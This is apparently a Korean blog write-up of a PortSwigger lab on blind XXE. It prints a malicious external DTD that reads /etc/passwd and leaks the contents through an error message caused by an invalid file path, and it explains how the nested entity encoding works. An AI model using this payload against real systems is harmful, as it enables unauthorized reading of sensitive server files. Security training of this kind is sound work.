본문 바로가기
Portswigger/XXE

Portswigger - Exploiting blind XXE to retrieve data via error messages solution

by jh117jh 2024. 1. 3.
728x90

이번 문제는 에러 메시지를 통한 XXE 문제다.

 

 

우선 일반적인 엔티티는 막혀있는 상태이다.

그럼 외부엔티티로 passwd 파일을 불러와보자

exploit 서버에 아래 코드를 입력하고

<!ENTITY % pw SYSTEM "file:///etc/passwd">
<!ENTITY % ex "<!ENTITY &#x25; file SYSTEM 'file:///hehehehe/%pw;'>">
%ex;
%file;

 

위 코드가 작동하는 원리는 두 번째 줄이 핵심이다.

 

1. ex라는 내부 엔티티를 선언하고 file이라는 외부 엔티티 내용이 담긴 내용을 호출한다.

2. 호출된 file 외부 엔티티에 경로를 일부러 에러가 나게끔 설정하고 첫 번째 줄에 선언한 pw 외부엔티티를 호출한다.

    여기서 file엔티티를 선언할 때 &#x25;를 넣은 이유는 file 엔티티가 ex엔티티 안에 있으므로 %를 사용할 시 엔티티 호출로 인식한다.

    그러므로 특수문자 기능이 없는 문자 %를 넣으려면 hex로 넣어야 된다.

3. 경로 에러가 생기면서 에러 메시지를 반환할 텐데 그때 pw엔티티가 호출되면서 passwd내용이 반환된다.

 

이제 이 exploit 서버에 저장한 코드를 다시 외부 엔티티로 불러오면 passwd 파일을 읽을 수 있을 것이다.

728x90